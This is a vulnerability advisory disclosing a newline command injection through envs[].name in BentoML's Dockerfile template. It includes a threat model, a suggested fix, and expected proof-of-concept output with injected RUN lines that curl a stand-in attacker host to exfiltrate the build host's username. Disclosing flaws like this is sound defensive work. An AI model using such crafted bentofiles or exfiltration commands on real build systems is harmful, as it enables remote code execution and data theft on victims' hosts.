CVE-2026-44346: BentoML: Dockerfile command injection via envs[*].name in bentofile.yaml

BentoML envs[].name Dockerfile command injection — sibling of CVE-2026-33744 / CVE-2026-35043

A malicious bentofile.yaml containing a newline-injected value in envs[].name produces unquoted RUN directives in the BentoML-generated Dockerfile. When the victim runs bentoml containerize on the imported bento, those RUN directives execute on the host during docker build. Verified end-to-end on bentoml==1.4.38.

Vulnerable code

src/bentoml/internal/container/frontend/dockerfile/templates/basev2.j2:71-73:

jinja {% for env in bentoenvs %} {% set stage = env.stage | default("all") -%} {% if stage != "runtime" -%} ARG {{ env.name }}{% if env.value %}={{ env.value | bashquote }}{% endif %} ENV {{ env.name }}=${{ env.name }} {% endif -%} {% endfor %}

env.value is bash-quoted via the bashquote filter, but env.name is interpolated raw with no escaping or newline filtering. The template is rendered by bentomlimpl/docker.generatedockerfile (the v2 SDK Docker generation path used by bentoml containerize for modern services).

Sibling relationship to existing CVEs

The earlier patches addressed the same Dockerfile-command-injection class for a different bentofile field:

- CVE-2026-33744 / GHSA-jfjg-vc52-wqvf (2026-03-25): added bashquote to systempackages interpolation in Dockerfile templates and images.py. - CVE-2026-35043 / GHSA-fgv4-6jr3-jgfw (2026-04-02): added shlex.quote to systempackages in the cloud deployment path (internal/cloud/deployment.py:1648).

Both patches limit themselves to systempackages. The envs[].name field is the same root-cause class (bentofile.yaml value flowing unquoted into a Dockerfile interpretation context) but was never included in the fix scope.

Reproduction

bash pip install bentoml==1.4.38 python verifyrender.py

Expected:

[] rendered Dockerfile size: 1789 bytes [] injected RUN lines: 3 RUN curl -fsSL http://attacker.example.com/$(whoami)=1 RUN curl -fsSL http://attacker.example.com/$(whoami)=$FOO RUN curl -fsSL http://attacker.example.com/$(whoami)

Each injected RUN line is a Dockerfile command that runs during docker build. With $(whoami) shell-substituted by Docker's RUN executor, the example payload exfiltrates the build host's username.

Threat model

1. Attacker authors a malicious bento with a crafted bentofile.yaml. 2. Attacker exports the bento (.bento or .tar.gz) and distributes (S3, HTTP, BentoCloud share, etc.). 3. Victim imports with bentoml import bento.tar; no validation of envs content. 4. Victim runs bentoml containerize to build the container image. 5. BentoML renders the Dockerfile with the attacker's envs values, producing injected RUN lines. 6. docker build (or BuildKit) executes the injected RUN commands on the build host, achieving RCE in the victim's build environment.

The flow mirrors CVE-2026-33744 exactly, with envs substituted for systempackages.

Suggested fix

In basev2.j2 lines 71-73, apply the bashquote filter to env.name (and to the =$VAR reference in the ENV line, since the variable name itself is reused there):

jinja ARG {{ env.name | bashquote }}{% if env.value %}={{ env.value | bashquote }}{% endif %} ENV {{ env.name | bashquote }}=${{ env.name | bashquote }}

Better, since env.name is semantically a Dockerfile identifier, validate at the schema level: in bentoml/internal/bento/buildconfig.py:BentoEnvSchema, add an attr.validators.matchesre(r"^[A-Za-z][A-Za-z0-9]$") to the name field so newline / shell-metacharacter values are rejected at config load.

Affected versions

- bentoml 1.4.38 (verified end-to-end) - Likely all 1.x versions where bentomlimpl/docker.py exists; the v2 SDK code path was added before the CVE-2026-33744 / CVE-2026-35043 patches and was not retroactively swept for siblings.

Disclosure

Requesting CVE assignment and GHSA publication. Available for additional repro under different distros / frontends, or for a PR with the suggested fix, on request.

PoC artifacts

Gated HF repo (request access): https://huggingface.co/mrw0r57/bentoml-envs-cmdinjection-poc